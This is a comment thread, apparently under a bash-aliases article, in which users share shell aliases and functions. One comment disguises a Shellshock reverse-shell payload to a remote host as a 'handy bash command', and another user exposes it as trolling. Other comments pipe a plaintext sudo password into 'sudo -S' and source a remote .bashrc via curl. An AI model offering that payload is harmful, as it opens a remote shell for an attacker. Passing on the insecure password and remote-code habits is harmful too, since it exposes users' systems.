# show executables only
alias   dsdx="ls -FlA | grep *"
```



```
# show non-executables
alias   dsdnx="ls -FlA | grep -v *"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 }
# only file without an extension
alias noext='dsd | egrep -v ".|/"'


# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain pat
alias   ttbx="titlebar"



# titlebar
if [ $# -lt 1 ]
then
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e
else
    ttb=$1
fi
echo -ne "33]0;`echo $ttb`07"


alias machine="echo you are logged in to ... `uname -a | cut -
alias info='clear;machine;pwd'
```

reply   link

Tom Hand • Jan 18, 2013 @ 5:47

A couple you might mind useful.

```
alias trace='mtr --report-wide --curses $1'
alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
alias usage='ifconfig wlan0 | grep 'bytes''
alias connections='sudo lsof -n -P -i +c 15'
```

reply   link

---

pidegat • Jan 25, 2013 @ 19:24

to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !

reply   link

---

ken • Feb 16, 2015 @ 16:41

OMG! Thanks!

reply   link

Star Wars • Apr 9, 2016 @ 16:08

Wow!!!!! Coooooooooooool , A Big Thank You 🙂

reply   link

Frank Xu • Jan 6, 2017 @ 13:47

Check this one: https://github.com/mooz/percol

Make ctrl+R better

reply   link

---

nyuszika7h • Feb 7, 2013 @ 16:43

You should check $EUID, not $UID, because if the effective user ID isn't 0, you aren't root, but if the real/saved user UID is 0, you can seteuid(0) to become root.

reply   link

---

nyuszika7h • Feb 7, 2013 @ 16:47

Reply to Tom (#42):

(1) Using `hg' for `history –grep' is probably not a good idea if you're ever going to work with Mercurial SCM.

(2) Using sudo for `yum search' is entirely pointless, you don't need to be root to search the package cache.

reply   link

Karthik • Feb 14, 2013 @ 10:12

```
alias up1="cd .."
# edit multiple files split horizontally or vertically
```

```
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desir
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep *"
# show non-executables
alias   dsdnx="ls -FlA | grep -v *"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+$5 }
# only file without an extension
alias noext='dsd | egrep -v ".|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain pat
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
then
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e
else
    ttb=$1
fi
```

```
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -
alias info='clear;machine;pwd'
```

reply   link

Benito • Nov 3, 2014 @ 5:05

I will add:

```
# file tree of directories only
alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$/
```

reply   link

John Ko • Feb 15, 2013 @ 22:57

I'm surprised no one has mentioned:

alias ls='ls -F'

It will show * after executables, / after directories and @ after links.

reply   link

---

zork • Mar 25, 2013 @ 18:03

John (Ko),

The variations of dsd that I gave all include -F

Give them a try.

reply   link

John Ko • Feb 15, 2013 @ 23:01

And for you vi(m) lovers out there, in my .bashrc:

set -o vi

esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
set -o emacs

to get back out of this mode if you want to restore it what others have used.

reply   link

Erin • Feb 16, 2013 @ 7:44

Here are some tidbits I've setup to help troubleshoot things quickly

This one pings a router quickly

> alias pr="ping `netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print $2}'`"

This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

> export SN=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print $2}' | sed 's/.[0-9]*$//' `

> ping $SN.254
>
> nmap -p 80 $SN.*

This command which I just named 'p' will call ping and auto populate your current subnet. You'd call it like this to ping the router p 1

> ```
> #!/bin/bash
> [ "$#" -eq 1 ] || exit "1 argument required, $# provided"
> echo $1 | grep -E -q '^[0-9]+$' || exit "Numeric argument required, $1
> provided"
> export HOST=$1
> export SUBNET=`netstat -nr| grep -m 1 -iE 'default|0.0.0.0' | awk '{print
> $2}'`
> export IP=`echo $SUBNET | sed s/.[0-9]*$/.$HOST/`
>
> ping $IP
> ```

Quickly reload your .bashrc or .bash_profile

> alias rl='. ~/.bash_profile'

reply   link

Flack • Feb 22, 2013 @ 20:44

Clear xterm buffer cache

```
alias clearx="echo -e '/0033/0143'"
```

Contrary to the clear command that only cleans the visible terminal area. AFAIK It's not an universal solution but it worths a try.

Edited by Admin as requested by OP.

reply   link

Eduard Seifert • Feb 23, 2013 @ 18:44

alias clear='printf "33c"'

reply   link

Eduard Seifert • Feb 23, 2013 @ 18:44

```
alias clear='printf "33c"'
```

reply   link

DarrinMeek • Feb 26, 2013 @ 3:11

I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use 'aa' for "add alias." It is always the first alias I create. Each job and each environ begin with 'aa' alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html

reply   link

DarrinMeek • Mar 17, 2016 @ 22:05

Well, after three more years, I now have a Git Hub site to share my efforts: https://github.com/dmeekabc

The auto-alias related efforts are included in the iboaUtils subdirectory.

reply   link

DarrinMeek • Mar 17, 2016 @ 22:11

Here is the direct link to the iboaUtils:

https://github.com/dmeekabc/tagaProductized/tree/master/iboaUtils

reply   link

Darrin Meek • Apr 4, 2016 @ 22:12

IBOA Auto Alias Utility Six (6) Core Aliases:

aa – Add Alias

ea – Edit Alias

ia – Insert Alias

iap – Insert Alias (P)revious

iapw – Insert Alias (P)revious (W)atch

ta – Trace Alias

Run the iboaInstall.sh file to install the utility including all of the user/group/system alias files.

https://github.com/dmeekabc/tagaProductized/blob/master/iboaUtils/iboaInstall.sh

reply   link

muratkarakus • Mar 1, 2013 @ 17:02

Nowadays, git is so popular, we can not miss it

These are my git aliases

alias g="git"

alias gr="git rm -rf"

alias gs="git status"

alias ga="g add"

alias gc="git commit -m"

alias gp="git push origin master"

alias gl="git pull origin master"

reply   link

Random • Dec 25, 2022 @ 0:49

You can use git aliases so I usually have: git st, git ci, etc..

reply   link

---

muratkarakus • Mar 1, 2013 @ 18:16

alias sd="echo michoser | sudo -S"

alias ai="sd apt-get –yes install"

alias as="apt-cache search"

alias ar="sd apt-get –yes remove"

alias .p="pushd ."

alias p.="popd"

reply   link

Tolli • Mar 2, 2013 @ 20:35

Regarding the cd aliases (#2), you can use the autocd bash option (run 'shopt -s autocd') to change directories without using cd. Then, you can just type '..' to go up one directory, or '../..' to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to '.:$HOME' (run 'export CDPATH=.:$HOME'), then run 'cd Documents' you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).

reply   link

Chris F.A. Johnson • Mar 11, 2013 @ 18:14

I don't use aliases. As the bash man page says:

"For almost every purpose, aliases are superseded by shell functions."

At the top of my .bashrc I have 'unalias -a' to get rid of any misguided aliases installed by /etc/profile.

reply   link

Benny • Oct 22, 2013 @ 20:02

Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called "fastping" I couldn't seem to make it work. Ideas?

reply   link

Henrik Kjelsberg • Mar 6, 2014 @ 8:06

Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don't necessarily need aliases and aliases will not be available if your working on someone else's box, but I think a combination makes perfect sense, their quick 🙂

reply   link

TD • Aug 7, 2014 @ 8:00

Who says you can't use your own aliases when working on a box?

. <(curl -sS domain.tld/scripts/.bashrc)

reply   link

r0tty • Oct 3, 2014 @ 8:28

This is completely brilliant – I am implementing it now.

Also, I completely agree with whoever said aliasing rm is a very bad idea. I don't think it's a good idea to use any alias that can get you into trouble if the alias is not defined.

Finally, I think it's a very good idea not to define any alias that will

hinder your recall of the command should you be in a situation where you don't have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with 'no, I don't know the options to that command, because I define an alias so I don't have to remember' so many times before they conclude you don't know what you're talking about.

Rotty

reply   link

griswolf • Mar 11, 2013 @ 19:24

The aliases that I use the most (also a lot of shell functions):
alias j='jobs -l'
alias h='history'
alias la='ls -aF'
alias lsrt='ls -lrtF'
alias lla='ls -alF'
alias ll='ls -lF'
alias ls='ls -F'
alias pu=pushd
alias pd=popd

alias r='fc -e -' # typing 'r' 'r'epeats the last command

reply   link

Gary • Mar 27, 2013 @ 9:15

Sizes of the directories in the current directory

alias size='du -h –max-depth=1'

reply   link

RajaSekhar • Apr 2, 2013 @ 2:56

Useful alias. Thanks mates.

I find the following useful too

```
alias tf='tail -f '

# grep in *.cpp files
alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=a
# grep in *.cpp files
alias findhg='find . -iname "*.h" | xargs grep -ni --color=alw

#finds that help me cleanup when hit the limits

alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/de
alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2

#show only my procs
alias psme='ps -ef | grep $USER --color=always '
```

reply   link

Carsten • Apr 5, 2013 @ 13:06

Very nice alias list.

Here's another very handy alias:

```
alias psg='ps -ef | grep'
```

ex: looking for all samb processes:

```
psg mbd
```

reply　link

Justin Garrison • Oct 22, 2014 @ 15:13

Try this one instead. It will remove the search from your results

```
psg='ps aux | grep -v grep | grep -i -e VSZ -e'
```

reply　link

phillip • Apr 6, 2013 @ 6:23

Here is the most important alias:

alias exiy='exit'

reply　link

Thilo Six • Apr 8, 2013 @ 14:20

I did learn some new things. Thanks for that.

Regarding:
Do not wait interval 1 second, go fast

alias fastping='ping -c 100 -s.2′

From reading the man page i gather the '-s' should be '-i' instead.

ping(8):
-s packetsize

Specifies the number of data bytes to be sent.

-i interval
Wait interval seconds between sending each packet. The
default is to wait for one second between each packet
normally, or not to wait in flood mode. Only super-user

may set interval to values less 0.2 seconds.

reply   link

Thomas • Apr 9, 2013 @ 15:44

Back Up [function, not alias] – Copy a file to the current directory with today's date automatically appended to the end.

```
bu() { cp $@ $@.backup-`date +%y%m%d`; }
```

Add to .bashrc or .profile and type: "bu filename.txt"

–

I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

```
bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d`
```

I hope someone finds this helpful!

reply   link

ahmed • Apr 21, 2013 @ 1:03

i did!

thanks a lot

reply   link

Benny • Oct 22, 2013 @ 19:41

Excellent idea, Thomas!

reply   link

Ingo • Nov 22, 2013 @ 19:51

Great idea! Will add this one to my aliases!

Is there a specific reason to use $@ instead of $1?

I also added quotes around the parameters, otherwise it won't work with file names that include whitespace, I have it like this now:

> bu() { cp "$1" "$1".backup-`date +%y%m%d`; }

reply   link

Dean • Sep 23, 2014 @ 17:13

Brilliant. Thanks.
I use this before I edit any config file I might need/want to change back later.
I also added %H%M%S so I can save a copy each time without dupe file names.
Thanks again.

I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….

reply   link

Russ Thompson • Apr 25, 2013 @ 2:34

I am learning to love simple functions in .bashrc

```
mcd () {
mkdir -p $1;
cd $1

}
```

But the great aliases are in the cmd prompt under windoze:

run doskey /macrofile=doskey.mac

then set up a doskey,mac in root directory with the CORRECT commands

ls=dir $* /o/w

cat=type $*

rm=del $*

lsl=dir $* /o/p

quit=exit

yes, I have to work in the sludgepit, but I can fix the command set

reply   link

Andrew • May 1, 2013 @ 20:44

Since I work in a number of different distributions, I concatenated 17 and 18:

case $(lsb_release -i | awk '{ print $3 }') in

Ubuntu|Debian)

alias apt-get="sudo apt-get"

alias updatey="sudo apt-get –yes"

alias update='sudo apt-get update && sudo apt-get upgrade'

;;

CentOS|RedHatEnterpriseServer)

alias update='yum update'

alias updatey='yum -y update'

;;

esac

Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don't have either of those handy to get the output of lsb_release.

reply   link

mirek • Dec 27, 2016 @ 19:17

lsb_release is not installed everywhere following code works better for me

```
if cat /proc/version | grep -i -e ubuntu -e debian -e raspb
    alias update="sudo apt-get update && sudo apt-get upgra
elif cat /proc/version | grep -i -e centos -e redhatenterpr
    alias update="sudo yum update";
fi
```

reply   link

Aaron Goshine • May 5, 2013 @ 3:27

alias gtl='git log'

alias gts='git status'

reply   link

Dan • May 29, 2013 @ 15:53

I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use 'complete' to add the pids to the completion list of my kill command so I can hit escape and it will fill in the

rest. Better to show it than describe it:

> alias kk='sudo kill' # Expecting a pid
> pss() {
> [[! -n ${1}]] && return; # bail if no argument
> pro="[${1:0:1}]${1:1}"; # process-name –> [p]rocess-name (makes grep better)
> ps axo pid,command | grep -i ${pro}; # show matching processes
> pids="$(ps axo pid,command | grep -i ${pro} | awk '{print $1}')"; # get pids
> complete -W "${pids}" kk # make a completion list for kk
>
> }

Now I can do (for example):

> **zulu:/Users/frank $** pss ssh
> 3661 /usr/bin/ssh-agent -l
> 2845 ssh -Nf -L 15900:localhost:5900 homemachine@dyndns.org
> **zulu:/Users/frank $** kk 2 (hit escape key to complete 2845)
> **zulu:/Users/frank $**

reply   link

Philip Vanmontfort • Jun 1, 2013 @ 15:31

Hey, very useful tips!

here's mine:

> chmoddr()   {

```
        # CHMOD _D_irectory _R_ecursivly


        if [ -d "$1" ]; then
         echo "error: please use the mode first, then the directory"
         return 1;
        elif [ -d "$2" ]; then
         find $2 -type d -print0 | xargs -0 chmod $1;
        fi
   }


   assimilate(){
     _assimilate_opts="";

     if [ "$#" -lt 1 ]; then   echo "not enough arguments";    re
     SSHSOCKET=~/.ssh/assimilate_socket.$1;
     echo "resistence is futile! $1 will be assimilated";
     if [ "$2" != "" ]; then
       _assimilate_opts=" -p$2 ";
     fi

     ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
     if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed!

     ### begin assimilation

     # copy files
     scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
     scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
```

```
    # import ssh key
    if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep
        ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null
        ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSH
    fi
    ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";


    ### END
    ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
  }
```

reply   link

---

harry • Jun 4, 2013 @ 2:59

Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered 'watch'. I use for monitoring log tails and directory contents and sizes.

alias watchtail='watch -n .5 tail -n 20′
alias watchdir='watch -n .5 ls -la'

alias watchsize='watch -n .5 du -h –max-depth=1′

reply   link

> **harry** • Jun 4, 2013 @ 3:09
>
> I forgot that third one: I use for monitoring small directories (< 100M).
> This would choke on large directories. Just increase the watch interval if

you need to watch larger directories. The default interval for watch is 2 seconds.

reply   link

Bob • Sep 20, 2013 @ 16:36

tail has a 'watch'-like option, though it doesn't refresh the screen like watch

tail -f -n 20 (though, really, the line number isn't as necessary in tail -f as it is in watch)

reply   link

---

greg • Jun 7, 2013 @ 16:19

I have the same "ll" alias, I use constantly. Here are a few others:

```
# grep all files in the current directory
function _grin() { grep -rn --color $1 .;}
alias grin=_grin
# find file by name in current directory
function _fn() { find . -name $1;}
alias fn=_fn
```

reply   link

Philip Vanmontfort • Jun 17, 2013 @ 17:50

Hi,

I published my .bashrc:

http://vanmontfort.be/pub/linux/.bashrc

Greetings,

Philip

reply   link

Philip Vanmontfort • Apr 17, 2014 @ 12:44

i updated the link:

http://philip.vanmontfort.be/bestanden/linux/bashrc

reply   link

selfthinker • Jun 29, 2013 @ 17:40

three letters to tune into my favorite radio stations

```
alias dlf="/usr/local/bin/mplayer -nocache -audiofile-cache 64
```

```
alias dlr="/usr/local/bin/mplayer -nocache -audiofile-cache 64
```

sometimes I swap my keyboards, then I use

```
alias tastatur="setxkbmap -model cherryblue -layout de -varian
```

When using mplayer you may set bookmarks using 'i'. You may read it easyer using

```
mplay() {
    export EDL="$HOME/.mplayer/current.edl"
    /usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
    echo $(awk '{print $2 }' $EDL | cut -d, -f1 | cut -d. -f1
    }
```

Buring ISO-images does not need starting GUIs and clicking around

```
alias isowrite="cdrecord dev=1,0,0 fs=32M driveropts=burnfree
```

Be aware the device must be adjusted. Not every default will fit for you to "isowrite /some/where/myimage.iso".

reply   link

LinuxGeek • Jul 16, 2013 @ 15:28

Really useful command

reply   link

Erik • Jul 16, 2013 @ 21:01

In 30 years of living at the *nix commandline I found that I really only need 2 aliases

for my bash shell (used to be ksh, but that's been a while)

```
alias s=less        # use less a lot to see config files and
alias lst='ls -ltr'   # most recently updated files last
```

when checking for servers and tcp ports for a non root user these are also handy

```
alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"
```

reply   link

Tim • Aug 10, 2013 @ 13:44

I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
alias mmm="/standard/target/directory/"
cp /various/file/source mmm

but this doesn't work: just creates a duplicate named mmm

Is there a way to do this?

tim

reply   link

🐧 **nixCraft** • Aug 11, 2013 @ 8:15

Add mmm to `$HOME/.bashrc` as follows:

```
export mmm="/standard/target/directory/"
```

Logout and login again. Verify that $mmm is set:

```
echo $mmm
```

Now run the command:

```
cp /various/file/source $mmm
```

HTH

reply   link

Tim • Aug 12, 2013 @ 4:52

Thank you very much!

Tim

reply   link

---

sandeep • Sep 3, 2013 @ 10:01

thanks

reply   link

Salvatore • Sep 8, 2013 @ 13:56

Very nice and useful, thank you!

reply   link

Morgan Estes • Sep 17, 2013 @ 22:01

I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

```
alias untar='tar -zxvf'
```

reply   link

Michael J • Sep 27, 2013 @ 16:06

I use this "alias" — its really a function — to do a quick check of JSON files on the command line:

function json() { cat "$@" | /usr/bin/python -m json.tool ;}

usage: json file.json

If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

Works great for quickly testing JSON files!

reply   link

Erwan • Oct 7, 2013 @ 20:21

Nice list, this file is so great for repetitive tasks.

Here's mine.

reply   link

Eric • Oct 10, 2013 @ 18:29

This is a great list most of my favorites have already been listed but this one hasn't quite been included and i use more than any other, except maybe 'lt'

Thanks to James from comment #28 it now doesn't include the command its self in the list!

```
# grep command history.  Uses function so a bare 'gh' doesn't
function gh () {
  if [ -z "$1" ]; then
    echo "Bad usage. try:gh run_test";
```

```
    else
      history | egrep $* |grep -v "gh $*"
    fi
  }
```

I also offer this modification to your #8

```
  alias h='history 100'      # give only recent history be defaul
```

other favorites of mine, all taken from elsewhere, are:

```
  alias wcl='wc -l'          # count # of lines
  alias perlrep='perl -i -p -e '              # use perl regex
```

list file/folder sizes sorted from largest to smallest with human readable sizes

```
  function dus () {
  du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {s
```

reply   link

Hiatus • Feb 25, 2016 @ 0:48

the dus function is missing a proper ending. Add ; }

reply   link

---

ychaouche • Dec 26, 2016 @ 10:17

You want sort -h and du -h

```
du -h --max-depth=1 | sort -h
```

Sample output :

```
368K    ./MACONF
452K    ./.gimp-2.8
628K    ./.pip
...
1.0M    ./.gstreamer-0.10
2.6M    ./PROG
3.3M    ./.adobe
...
1.2G    ./BACKUPS
1.5G    ./.local
5.3G    ./TMP
...
```

reply   link

Brian • Oct 26, 2013 @ 0:08

Alias the word unalias into a 65000 character long password… 🙂

reply   link

Brian • Oct 26, 2013 @ 0:11

Likewise alias bin.bash as $=unalias-1

reply   link

TimC • Nov 13, 2013 @ 23:37

So you are not truly lazy until you see this in somebody's alias file

alias a='alias'

🙂

TimC

reply   link

Jim C • Dec 12, 2013 @ 17:54

It's a bit off topic but the lack of a good command line trash can command
has always seemed like a glaring omission to me.
I usually name it tcan or tcn.
http://wiki.linuxquestions.org/wiki/Scripting#Command_Line_Trash_Can

reply   link

---

rne • Dec 28, 2013 @ 20:08

just use Ctrl-D

reply   link

Mikkel • Jan 1, 2014 @ 21:38

On OS-X 10.9 replace 'ls –color=auto' with 'ls -G'

reply   link

Robert • Feb 12, 2014 @ 3:40

Define a command to cd then print the resulting directory.
I do this to avoid putting the current directory in my prompt.
alias cd='cdir'
function cdir ()
{
cd "$*"
pwd

}

reply   link

---

shanker • Feb 12, 2014 @ 10:30

function mkcd(){
mkdir -p $1
cd $1

}

Brian C • Feb 13, 2014 @ 17:12

Lots of great suggestions here.

I use so many aliases and functions that I needed one to search them.

function ga() { alias | grep -i $*; functions | grep -i $*}

This is not so nice with multiple line functions and could be improved with a clever regex.

Jules J • Feb 20, 2014 @ 14:28

```
# Find a file from the current directory
alias ff='find . -name '

# grep the output of commands
alias envg='env | grep -i'
alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | gre
alias aliasg='alias | grep -i'
alias hg='history | grep -i'

# cd to the directory a symbolically linked file is in.
function cdl {
    if [ "x$1" = "x" ] ; then
```

```
        echo "Missing Arg"
    elif [ -L "$1" ] ; then
        link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
        if [ "x$link" = "x" ] ; then
            echo "Failed to get link"
            return
        fi
        dirName_=`dirname $link`
        cd "$dirName_"
    else
        echo "$1 is not a symbolic link"
    fi
    return
}
# cd to the dir that a file is found in.
function cdff {
    filename=`find . -name $1 | grep -iv "Permission Denied" |
    if [ "xx${filename}xx" != "xxxx" ] ; then
        dirname=${filename%/*}
        if [ -d $dirname ] ; then
            cd $dirname
        fi
    fi
}
```

reply   link

Rich • Feb 28, 2014 @ 7:21

```
export EDITOR=vim
export PAGER=less
set -o vi
eval `resize`

# awk tab delim  (escape '' awk to disable aliased awk)
tawk='awk -F "t" '
# case insensitive grep
alias ig="grep --color -i "


# ls sort by time
alias lt="ls -ltr "
# ls sort by byte size
alias lS='ls -Slr'

# ps by process grep  (ie. psg chrome)
alias psg='ps -ef|grep --color '
# ps by user
alias psu='ps auxwwf '
# ps by user with grep (ie. psug budman)
alias psug='psu|grep --color '

# find broken symlinks
alias brokenlinks='find . -xtype l -printf "%p -> %ln"'


# which and less a script (ie. ww backup.ksh)
```

```
function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;le
```

```
# use your own vim cfg (useful when logging in as other id's)
alias vim="vim -u /home/budman/.vimrc"
```

reply   link

Rich • Feb 28, 2014 @ 7:21

For those of you who use Autosys:

```
# alias to read log files based on current run date (great for
# ie.  slog mars-reconcile-job-c
export RUN_DIR=~/process/dates
function getRunDate {
    print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_pr
}
function getLogFile {
    print -n $RUN_DIR/$(getRunDate)/log/$1.log
}
function showLogFile {
    export LOGFILE=$(getLogFile $1);
    print "nLog File: $LOGFILEn";
    less -z-4 $LOGFILE;
}
alias slog="showLogFile "
```

```
        # Autosys alaises
        alias av="autorep -w -J "
        alias av0="autorep -w -L0 -J "
        alias avq="autorep -w -q -J "
        alias aq0="autorep -w -L0 -q -J "
        alias ava="autorep -w -D PRD_AUTOSYS_A -J "
        alias avc="autorep -w -D PRD_AUTOSYS_C -J "
        alias avt="autorep -w -D PRD_AUTOSYS_T -J "
        alias am="autorep -w -M "
        alias ad="autorep -w -d -J "
        alias jd="job_depends -w -c -J "
        alias jdd="job_depends -w -d -J "
        alias jrh="jobrunhist -J "
        alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
        alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
        alias runjob="sendevent -P 1 -E STARTJOB -J "
        alias killjob="sendevent -P 1 -E KILLJOB -J "
        alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
        alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
        alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
        alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
        alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
        alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -
        alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J
        alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -
        alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
        alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
        alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
```

```
alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
```

reply   link

---

mithereal • Mar 23, 2014 @ 22:26

heres a few i use

```
alias killme='slay $USER'

function gi(){
npm install --save-dev grunt-"$@"
}

function gci(){
npm install --save-dev grunt-contrib-"$@"
}
```

reply   link

---

sjas • Apr 27, 2014 @ 14:20

```
alias v='vim'
alias vi='vim'
alias e='emacs'
alias t='tail -n200'
alias h='head -n20'
```

```
alias g='git'
alias p='pushd'
alias o='popd'
alias d='dirs -v'
alias rmf='rm -rf'


# ls working colorful on all OS'es
#linux
if [[ `uname` == Linux ]]; then
    export LS1='--color=always'
#mac
elif [[ `uname` == Darwin* ]]; then
    export LS1='-G'
#win/cygwin/other
else
    export LS1='--color=auto'
fi
export LS2='-hF --time-style=long-iso'
alias l='ls $LS1 $LS2 -AB'
```

reply   link

---

jfb • May 24, 2014 @ 14:07

Here is one to do a update and upgrade with no user input. Just insert your sudo

password for yourpassword

alias udug='echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y'

reply   link

Henrik Kjelsberg • May 27, 2014 @ 17:59

Having your password lying around in plain text is never a good idea.

reply   link

---

jfb • May 28, 2014 @ 19:28

I am the only one who uses this computer. My daughter, granddaughter, daughter's

boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.

reply   link

---

systemBuilder • Jan 6, 2017 @ 2:26

It is far better to put the commands into a setuid shell script, then you don't have to EVER put your password into plaintext anywhere on UNIX / Linux:

```
echo "sudo -S apt-get update && sudo apt-get
upgrade -y" > /tmp/udug ; sudo mv /tmp/udug
/usr/bin/udug
sudo chmod 755 /usr/bin/udug

sudo chmod u+s /usr/bin/udug
```

reply   link

AndyB • Jul 11, 2014 @ 2:46

If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace "jfb" in this example with your own login).

jfb ALL=(root) NOPASSWD: /usr/bin/apt-get

Hint: edit the config file with "sudo visudo", not "sudo vim /etc/sudoers". Visudo will check that you haven't totally screwed up the config file before writing it out.

reply   link

Xdept • Jul 2, 2014 @ 2:14

Hey, Just wanted to add my 5 cents.

I use this to make me think before rebooting/shutting down hosts;

alias reboot='echo "Are you sure you want to reboot host `hostname` [y/N]?" && read reboot_answer && if ["$reboot_answer" == y]; then /sbin/reboot; fi'

alias shutdown='echo "Are you sure you want to shutdown host `hostname` [y/N]?" && read shutdown_answer && if ["$shutdown_answer" == y]; then /sbin/shutdown -h now; fi'

reply   link

Niall • Jul 23, 2014 @ 0:09

Thank you. Great list.

reply   link

David • Aug 22, 2014 @ 0:41

#2: Control cd command behavior

get rid of command not found

alias cd..='cd ..'

a quick way to get out of current directory
alias ..='cd ..'
alias …='cd ../../../'
alias ….='cd ../../../../'
alias …..='cd ../../../../' <– typo, I think you meant to add an extra level of ../ to this!
alias .4='cd ../../../../'

alias .5='cd ../../../../..'

reply   link

Lyo Mi • Sep 26, 2014 @ 17:50

There's another handy bash command I've come by recently in the past days.

```
() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.0
```

reply   link

---

foo • Oct 22, 2014 @ 0:23

shellshock douchebaggery

reply   link

James • Nov 11, 2014 @ 1:58

Here are a couple that I have to make installing software on Ubuntu easier:

```
alias sdfind='~/bin/sdfind.sh'
alias sdinst='sudo apt-get install'
```

reply   link

EricC • Nov 15, 2014 @ 22:38

Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.

reply   link

---

hiatus • Nov 20, 2014 @ 0:19

Find all IP addresses connected to your network

```
alias netcheck='nmap -sP $(ip -o addr show | grep inet  | grep
```

reply   link

hiatus • Nov 20, 2014 @ 0:22

See real time stamp when running dmesg

```
alias dmesg='dmesg|perl -ne "BEGIN{$a= time()- qx:cat /proc/up
```

reply   link

faegt • Nov 20, 2014 @ 11:05

You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…

reply   link

hiatus • Nov 20, 2014 @ 21:11

Nice readable way to see memory usage

```
alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'
```

reply   link

hiatus • Nov 20, 2014 @ 23:57

Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb

```
myusb () { usb_array=();while read -r -d $'n'; do usb_array+=(
```

reply   link

koosha • Dec 7, 2014 @ 4:00

And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.

